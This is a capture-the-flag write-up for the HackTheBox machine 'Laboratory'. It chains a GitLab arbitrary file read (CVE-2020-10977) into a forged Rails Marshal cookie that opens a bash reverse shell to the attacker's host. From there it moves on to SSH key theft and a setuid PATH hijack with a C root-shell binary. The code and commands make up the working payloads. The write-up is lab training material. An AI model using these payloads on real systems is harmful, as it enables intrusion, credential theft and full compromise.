HTB: Laboratory Writeup

Laboratory - HackTheBox Writeup

Machine Information

AttributeDetails
NameLaboratory
OSLinux
DifficultyEasy
PointsN/A
Release Date16th April 2021
IP Address10.10.10.216
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Laboratory is an easy difficulty Linux machine featuring a vulnerable GitLab 12.8.1 instance running in a Docker container. The machine exploits an arbitrary file read vulnerability (CVE-2020-10977) combined with a Rails cookie deserialization attack to achieve remote command execution and initial foothold. After escaping the container by obtaining SSH credentials from an administrator’s private projects, privilege escalation is achieved through a setuid binary that executes chmod via a relative path, allowing for a simple PATH hijack to gain root access.

TL;DR: CVE-2020-10977 arbitrary read → Rails Marshal cookie RCE → Docker escape via stolen SSH keys → setuid PATH hijack → root shell.


Reconnaissance

Port Scanning

Terminal window
# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.216 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumeration
nmap -sC -sV -p$ports 10.10.10.216

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29
443/tcp open https Apache httpd 2.4.29

Service Enumeration

HTTP/HTTPS Investigation

Browsing to port 80 reveals a redirect to laboratory.htb. The nmap output also discloses an additional hostname: git.laboratory.htb. Both must be added to /etc/hosts:

10.10.10.216 laboratory.htb git.laboratory.htb

laboratory.htb: A corporate website for a security services company listing three employees, including CEO Dexter.

git.laboratory.htb: A GitLab Community Edition instance requiring authentication. By registering a new account with a valid laboratory.htb domain email, we can access the application.

Version Detection reveals GitLab 12.8.1 via the help menu.

Vulnerability Assessment

VulnerabilityCVESeverityStatus
Arbitrary File ReadCVE-2020-10977HighExploitable
Rails Cookie DeserializationN/AHighExploitable
Relative Path Execution (setuid)N/AHighExploitable

Initial Foothold

Step 1: GitLab Registration & Vulnerability Discovery

Create a user account on the GitLab instance with a valid @laboratory.htb email address. After researching CVE-2020-10977, we identify that GitLab versions ≤12.9.0 are vulnerable to arbitrary file read through image upload manipulation.

Step 2: Exploit CVE-2020-10977 - Arbitrary File Read

The vulnerability allows reading arbitrary files by creating projects and manipulating issue descriptions with directory traversal paths. An automated exploit simplifies this process:

Terminal window
# Use the publicly available CVE-2020-10977 exploit
python3 cve_2020_10977.py https://git.laboratory.htb arkanoid Password1!

This exploit successfully reads files from the system. We target the GitLab secrets file:

/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
# Goal: Extract secret_key_base from GitLab configuration

Step 3: Extract secret_key_base

Using the arbitrary file read vulnerability, retrieve the secret_key_base value from the target’s secrets configuration. This value is essential for the Rails cookie exploitation.

Step 4: Set Up Local GitLab Instance for Payload Generation

To generate the malicious Marshal payload, set up a matching GitLab 12.8.1 instance:

Terminal window
# Install GitLab 12.8.1 (version must match target)
# Add the proper repository and install the deb package
# Reconfigure GitLab
sudo gitlab-ctl reconfigure
# Replace secret_key_base in the configuration
sudo nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
# Paste the extracted secret_key_base value
# Restart services
sudo gitlab-ctl restart

Access the GitLab Rails console on your local instance to craft the payload:

Terminal window
sudo gitlab-rails console

Execute the following Ruby code to generate a Marshal-serialized reverse shell payload:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i>& /dev/tcp/10.10.14.22/4444 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

This outputs the base64-encoded experimentation_subject_id cookie value.

Set up a netcat listener and send the malicious cookie:

Terminal window
# Terminal 1: Listen for reverse shell
nc -lvnp 4444
# Terminal 2: Send the crafted cookie (replace with actual payload)
curl -vvv 'https://git.laboratory.htb/users/sign_in' -k \
-b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjIvNDQ0NCAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=-8fdb57c5b65cef79b38c842cc0a42570ff756636"

Successfully gain shell access as user git inside the Docker container.

Step 7: Escape Docker Container - Elevate GitLab User

While in the container, leverage our GitLab access to gain administrative privileges:

Terminal window
gitlab-rails console

Execute the following to escalate our registered user to admin:

user = User.find_by_username('arkanoid')
user.admin = true
user.save!

Step 8: Extract Private SSH Key

After obtaining admin privileges, navigate to Dexter’s private projects via the GitLab UI. Locate and download the id_rsa private SSH key from the “SecureDocker” project.

Step 9: SSH Access to Host System

Transfer the private key to your local machine and authenticate:

Terminal window
# Set appropriate permissions
chmod 600 id_rsa
# SSH as Dexter to escape the container
ssh -i id_rsa dexter@10.10.10.216

Obtain the user flag:

Terminal window
cat ~/user.txt

Privilege Escalation

Step 1: Enumeration - Identify SUID Binary

Run a privilege escalation enumeration script (e.g., linpeas) to identify unusual setuid binaries:

Terminal window
# Download and run linpeas or manually check
find / -perm -4000 -type f 2>/dev/null

Discovery: /usr/local/bin/docker-security has the setuid bit set.

Step 2: Analyze SUID Binary

Download the binary to your local machine for analysis:

Terminal window
scp -i id_rsa dexter@10.10.10.216:/usr/local/bin/docker-security ./docker-security

Use ltrace to trace system calls:

Terminal window
ltrace ./docker-security

Output reveals the binary calls chmod using a relative path rather than an absolute path (e.g., chmod instead of /bin/chmod).

Step 3: PATH Hijacking - Create Malicious chmod

Create a C program that spawns a root shell:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
int main(){
setuid(0);
system("/bin/bash");
return 0;
}

Compile the program:

Terminal window
gcc -o chmod chmod.c

Step 4: Deploy Malicious Binary

Upload the compiled chmod to the target system:

Terminal window
scp -i id_rsa chmod dexter@10.10.10.216:/tmp/chmod

Step 5: Execute Privilege Escalation

On the target system, manipulate the PATH to prioritize our malicious chmod:

Terminal window
export PATH=/tmp/:$PATH
/usr/local/bin/docker-security

When docker-security executes chmod via the relative path, it will execute our malicious version in /tmp/, which runs with root privileges (due to the setuid bit) and spawns a root shell.

Step 6: Obtain Root Flag

Capture the root flag:

Terminal window
cat /root/root.txt

Attack Chain Summary

User Registration (laboratory.htb domain)
CVE-2020-10977: Arbitrary File Read
Extract /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
Local GitLab 12.8.1 Setup + secret_key_base Injection
Generate Malicious Rails Marshal Cookie
Cookie Injection → RCE (git user in Docker)
Escalate User to GitLab Admin (gitlab-rails console)
Extract Dexter's Private SSH Key (id_rsa)
SSH Access as dexter@laboratory.htb (Docker Escape)
User Flag Captured
Discover /usr/local/bin/docker-security (SUID Binary)
ltrace Analysis: Relative Path chmod Execution
Compile Malicious chmod → Upload to /tmp
PATH Hijacking: export PATH=/tmp/:$PATH
Execute docker-security → Root Shell
Root Flag Captured

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
python3Execute CVE-2020-10977 exploit
curlSend HTTP requests with malicious cookies
ncReverse shell listener
sshSecure shell access to host system
scpSecure file transfer
gitlab-railsRails console for payload generation and user escalation
gccCompile C privilege escalation payloads
ltraceTrace system calls in binary analysis
linpeasAutomated privilege escalation enumeration

Key Learnings

Techniques Practiced

  • CVE-2020-10977 Exploitation: Arbitrary file read via GitLab image upload manipulation
  • Rails Cookie Deserialization: Crafting Marshal-serialized payloads for RCE
  • Docker Container Escape: Leveraging compromised container admin access to extract host credentials
  • SUID Binary Analysis: Using ltrace to identify vulnerable relative path execution
  • PATH Hijacking: Creating malicious executables to exploit relative path vulnerabilities
  • GitLab Administration: Elevating user privileges via gitlab-rails console

Lessons Learned

  1. Version Specificity Matters: The exploit requires matching the exact GitLab version (12.8.1) for successful payload generation, emphasizing the importance of version-specific tooling in security assessments.

  2. Multi-Stage Exploitation: Complex vulnerabilities often require chaining multiple techniques—in this case, file read → cookie exploitation → container escape → privilege escalation.

  3. Relative Paths Are Dangerous: Setuid binaries using relative paths (rather than absolute paths) create severe privilege escalation vectors through simple PATH manipulation.

  4. Container Isolation is Not Absolute: Compromised services running in containers can provide access to the host system if proper isolation and credential management are not implemented.

  5. Admin Privileges Cascade: Gaining administrative access to a GitLab instance exposes sensitive information (SSH keys, private projects) that can lead to lateral movement and system compromise.

  6. Rails Internals Security: Understanding Rails deserialization behavior and cookie handling is critical for identifying server-side template injection and RCE vectors.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>